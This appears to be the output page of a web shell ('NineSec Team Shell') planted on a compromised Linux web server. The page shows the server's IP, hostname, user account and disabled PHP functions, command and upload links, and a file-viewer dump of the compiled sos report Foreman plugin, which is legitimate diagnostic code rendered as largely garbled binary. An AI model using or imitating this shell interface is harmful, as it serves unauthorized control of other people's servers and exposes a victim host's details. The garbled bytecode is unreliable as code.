NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/foreman.cpython-36.pyc
3

~�g�=�@snddlmZddlmZddlmZmZmZmZm	Z	Gdd�de�Z
Gdd�de
e�ZGdd	�d	e
ee�Zd
S)�)�match)�quote)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPlugin�	PluginOptc@s�eZdZdZdZdZdZdZdZdZ	dZ
ddiZed	d
dd�ed
ddd�edddd�gZ
dZdd�Zdd�Zdd�Zd dd�Zdd�ZdS)!�Foremanz$Foreman/Satellite systems management�foremani�sysmgmtNZ	localhost��
PGPASSWORD�days�z!number of days for dynflow output)�defaultZdesc�
proxyfeaturesFz!collect features of smart proxieszpuma-gczcollect Puma GC statsz/pumactl %s -S /usr/share/foreman/tmp/puma.statec	$Cs�d}y�d}t|ddd��}|j�j�}WdQRXxv|D]n}|s6|ddkrNq6|jd�r^d	}q6|rztd
|�rz|j�d|_|r�td|�r�|j�d|_|jd
�s6d}q6WWntk
r�YnX|jjd�r�|jj	d�s�|jjd�o�|jj	d��r|jddT�|_d|ji|_
|jddddd��|jddg�|j
d�d}|j�}|j
d�d}|j�}|jdd|j�d�gdd�|jdd d!d"d#d$d%d&d'd(d)d*d+d,d|j�d-�d|j�d.�d|j�d/�d0|j�d1�d0|j�d2�d|j�d3�g�|jd4d5d6d7d8d9|��d9|��d:g�|jd;d<gd	d=�|jd>d?d@�|jdAdBdCdD�|jdEdFd@�|jdGdHd@�|jdIdJ�|jdK��r�|j|jdLdMd@�|j|jdNdOd@�|jdP�|jdQ�}|j|dR|j
dS�|j�|j�dS)UNFz/etc/foreman/database.yml�rzUTF-8)�encodingr�#zproduction:Tz\s+host:\s+\S+�z\s+password:\s+\S+� �"�'r
Zforeman_production_logZforeman_tasks_configZforeman_ssl_access_ssl_log)z!/var/log/foreman/production.log.*z/etc/sysconfig/foreman-tasksz/etc/sysconfig/dynflowdz)/var/log/httpd/foreman-ssl_access_ssl.logz/etc/foreman/*key.pemz/etc/foreman/encryption_key.rbZhostname�outputzhostname -fz/var/log/foreman/production.logz	/var/log/z*/foreman-ssl_*_ssl.logi�)�	sizelimitz
/etc/foreman/z/etc/sysconfig/foremanz/etc/sysconfig/dynflowdz/etc/default/foremanz&/var/log/foreman/dynflow_executor*log*z*/var/log/foreman/dynflow_executor*.output*z#/var/log/foreman/apipie_cache*.log*z/var/log/foreman/cron*.log*z /var/log/foreman/db_migrate*log*z/var/log/foreman/db_seed*log*z$/var/log/foreman/production.log[.-]*z$/var/log/foreman-selinux-install.logz&/var/log/foreman-proxy-certs-generate*z/usr/share/foreman/Gemfile*z
*/foreman*z&*/katello-reverse-proxy_error_ssl.log*z*/error_log*z/etc/z*/conf/z	*/conf.d/z'*/katello-reverse-proxy_access_ssl.log*zforeman-selinux-relabel -nvzpassenger-status --show poolz passenger-status --show requestsz"passenger-status --show backtraceszpassenger-memory-statsz
ping -c1 -W1 zping -c1 -W1 localhostz/root/ssl-buildz/usr/share/foreman/config/hooks)�	recursivez�qpid-stat -b amqps://localhost:5671 -q                     --ssl-certificate=/etc/pki/katello/qpid_router_client.crt                     --ssl-key=/etc/pki/katello/qpid_router_client.key                     --sasl-mechanism=ANONYMOUSzqpid-stat_-q)�suggest_filenamezhammer pingZhammer_ping�x)Ztags�timeoutzsystemctl list-units dynflow*Z
dynflow_unitsz!"system-dynflow\x2dsidekiq.slice"Zdynflow_sidekiq_statuszdynflow-sidekiq@*)Zunitszpuma-gczgc-statszpumactl_gc-statsZstatsZ
pumactl_statsz/usr/sbin/foreman-puma-statusa[SELECT table_name, pg_size_pretty(total_bytes) AS total, pg_size_pretty(index_bytes) AS INDEX , pg_size_pretty(toast_bytes) AS toast, pg_size_pretty(table_bytes) AS TABLE FROM ( SELECT *, total_bytes-index_bytes-COALESCE(toast_bytes,0) AS table_bytes FROM (SELECT c.oid,nspname AS table_schema, relname AS TABLE_NAME, c.reltuples AS row_estimate, pg_total_relation_size(c.oid) AS total_bytes, pg_indexes_size(c.oid) AS index_bytes, pg_total_relation_size(reltoastrelid) AS toast_bytes FROM pg_class c LEFT JOIN pg_namespace n ON n.oid = c.relnamespace WHERE relkind = 'r') a) a order by total_bytes DESCZforeman_db_tables_sizes)r�env���)�open�read�
splitlines�
startswithr�split�dbhost�dbpasswd�IOError�endswithr�
add_file_tagsZadd_forbidden_path�exec_cmd�stripZ
add_copy_spec�	apachepkg�add_cmd_outputZadd_dir_listingZadd_service_statusZadd_journal�
get_option�pumactl�build_query_cmd�collect_foreman_db�collect_proxies)	�selfZproduction_scopeZ
foreman_db�dfileZ
foreman_lines�lineZ	_hostnameZ_host_f�_cmd�r8�/usr/lib/python3.6/foreman.py�setup(s�





z
Foreman.setupc
Cs|jd��d�}t|�}d}d|�d�}d|�d�}d|�d�}d	|�d�}d
}d}	|dd
|ddd|	dd�	}
||||d�}x4|
j�D](\}}
|j|
�}|j||dd|jd�q�W|jd�}xN|j�D]B\}}
d}|dkr�|r�d}|j|
d|d�}|j||dd|jd�q�WdS) z% Collect foreman db and dynflow data rz dayszRselect id,name,value from settings where name not similar to '%(pass|key|secret)%'zFselect * from foreman_tasks_tasks where started_at > NOW() - interval z order by started_at ascz�select dynflow_execution_plans.* from foreman_tasks_tasks join dynflow_execution_plans on (foreman_tasks_tasks.external_id = dynflow_execution_plans.uuid::varchar) where foreman_tasks_tasks.started_at > NOW() - interval z, order by foreman_tasks_tasks.started_at ascz�select dynflow_actions.* from foreman_tasks_tasks join dynflow_actions on (foreman_tasks_tasks.external_id = dynflow_actions.execution_plan_uuid::varchar) where foreman_tasks_tasks.started_at > NOW() - interval z�select dynflow_steps.* from foreman_tasks_tasks join dynflow_steps on (foreman_tasks_tasks.external_id = dynflow_steps.execution_plan_uuid::varchar) where foreman_tasks_tasks.started_at > NOW() - interval z�SELECT id,network,mask,name,vlanid,gateway,dns_primary,dns_secondary,boot_mode,ipam,type,description,mtu,template_id,nic_delay,externalipam_id,externalipam_group,dhcp_id,tftp_id,dns_id,discovery_id,httpboot_id,externalipam_id FROM subnets ORDER BY id DESCz�WITH prefix_counts AS (SELECT split_part(name,'::',1) FROM fact_names) SELECT COUNT(*), split_part AS "fact_name_prefix" FROM prefix_counts GROUP BY split_part ORDER BY count DESC LIMIT 100zselect * from schema_migrationsz`select id,type,name,host,port,account,base_dn,attr_login,onthefly_register,tls from auth_sourcesz!select * from dynflow_schema_infozselect count(*) from auditszselect count(*) from logsz select name,url,download_policy zfrom smart_proxies)	Zforeman_settings_tableZforeman_schema_migrationsZforeman_auth_tableZforeman_subnets_tableZdynflow_schema_infoZaudits_table_countZlogs_table_countZfact_names_prefixesZ
smart_proxies)�foreman_tasks_tasksZdynflow_execution_plansZdynflow_actionsZ
dynflow_stepsiX�d)rrrrz
dynflow-utils�psqlr;z /usr/libexec/psql-msgpack-decodeT)�csv�binaryNz2select name,url,download_policy from smart_proxies)r/r�itemsr1r.rZis_installed)r4rZintervalZscmdZdtaskcmdZdyncmdZ
dactioncmdZ	dstepscmdZ
subnetscmdZfactnamescmdZ	foremandbZ
foremancsv�table�valr7ZdynutilsZdynr?r8r8r9r2�sF




zForeman.collect_foreman_dbcCs�|jd�r�|jddd�}|j||jd�}|ddkr�xL|dj�d	d
�D]4}|jd�}d|d	�d
�}|j||dddd�qJW|jddddg�d
S)z Collect foreman proxies rz"select name,url from smart_proxiesT)r>)rZstatusrrrN�,zNcurl -s --key /etc/foreman/client_key.pem --cert /etc/foreman/client_cert.pem z/v2/featuresZsmart_proxies_features�
)rZsubdirrZ
HTTP_PROXYZHTTPS_PROXYZNO_PROXYZ	ALL_PROXY)r/r1r+rr#r%r.Zadd_env_var)r4r7Zproxies�proxyr8r8r9r3s 

zForeman.collect_proxiesr=cCs(|rd|�d�}d}|||jt|�fS)aI
        Builds the command needed to invoke the pgsql query as the postgres
        user.
        The query requires significant quoting work to satisfy both the
        shell and postgres parsing requirements. Note that this will generate
        a large amount of quoting in sos logs referencing the command being run
        zCOPY (z6) TO STDOUT WITH (FORMAT 'csv', DELIMITER ',', HEADER)z:%s --no-password -h %s -p 5432 -U foreman -d foreman -c %s)r&r)r4Zqueryr>r?Z_dbcmdr8r8r9r1;szForeman.build_query_cmdcCs:|jddd�|jddd�|jdg�|jddd	�dS)
Nz/etc/foreman/(.*)((conf)(.*)?)z5((\:|\s*)(passw|cred|token|secret|key).*(\:\s|=))(.*)z
\1********z"/etc/foreman/(.*)((yaml|yml)(.*)?)z\1"********"z /var/log/foreman/production.log*zfrom settings wherez(http(s)?://)\S+:\S+(@.*)z\1******:******\3)Zdo_path_regex_subZdo_paths_http_subZdo_cmd_output_sub)r4r8r8r9�postprocIszForeman.postproc)r)r
)Fr=)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZplugin_timeoutZprofilesZpackagesr-r&r'rrZoption_listr0r:r2r3r1rFr8r8r8r9r	s,
d
r	cs eZdZdZ�fdd�Z�ZS)�
RedHatForemanZhttpdcs&|jddi�t�j�|jd�dS)Nz"/usr/share/foreman/.ssh/ssh_configZssh_foreman_configzgem list)r*�superr:r.)r4)�	__class__r8r9r:es

zRedHatForeman.setup)rGrHrIr-r:�
__classcell__r8r8)rLr9rJasrJc@seZdZdZdS)�
DebianForemanZapache2N)rGrHrIr-r8r8r8r9rNosrNN)
�rerZshlexrZsos.report.pluginsrrrrrr	rJrNr8r8r8r9�<module>sQ

NineSec Team - 2022